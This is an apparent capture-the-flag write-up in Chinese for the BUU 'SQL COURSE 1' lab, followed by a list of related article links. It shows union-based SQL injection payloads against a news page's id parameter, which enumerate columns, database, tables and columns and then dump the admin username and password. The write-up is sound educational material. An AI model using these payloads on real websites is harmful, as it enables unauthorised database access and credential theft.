BUU SQL COURSE 1 sql注入

这里分析,存在两个分析点

登录界面和新闻界面

这里可以先试一下登陆界面是否存在sql注入,但是经过测试不存在,可以通过通用的sql注入语句测试,从而分析到主要点不在登录,那就可能是新闻页面的,我们在点击新闻的时候,这里后面的代码处理是直接在数据库中进行搜索呈现,可以看到存在?id的形式

这里是直接拼接id,有回显,通过sql语句进行拼接id,因此这里就可以构造payload,通过访问地址进行查询他的数据库信息,因此就可以进行接下来的操作

探测数据表的列数

复制代码
?id=1 order by 2

存在两列

复制代码
?id=1 order by 3

不存在三列

查询数据库核心信息

复制代码
?id=-1 union select database(),2 

查看数据库信息

数据库信息为news

查询数据库里的所有表名

复制代码
?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

存在两个数据表,包含admin和contents

进行查询admin的属性后查询属性值

复制代码
?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='admin'

查询账号密码

复制代码
?id=-1 union select username,password from admin

得到admin账号密码

最后登录获得flag

相关推荐
徒手猫9 小时前
SQL CTE 从零到一:理解与实战
数据库
有味道的男人9 小时前
Open Claw对接小红书笔记详情
数据库·笔记
共绩算力9 小时前
第四辑:8 张「印刷品与示意图」——几何海报到工间操
前端·数据库·人工智能·共绩算力
持敬chijing9 小时前
BUUCTF-WEB详细解题攻略1(按解出数降序排序)
网络·web安全·网络安全·网络攻击模型·安全威胁分析·web
其实防守也摸鱼9 小时前
软件安全与漏洞--软件安全测试
网络·软件测试·安全·web安全·安全性测试·软件安全·软件安全测试
guslegend9 小时前
1.Redis服务搭建
数据库·redis·bootstrap
半夜修仙9 小时前
Redis中ZSet数据类型的常见命令
数据库·redis·缓存
毋语天9 小时前
FastAPI 终极实战:ORM 数据库、RESTful 设计、中间件与依赖注入
数据库·中间件·restful·fastapi
shuair10 小时前
redis红锁Redlock
数据库·redis·bootstrap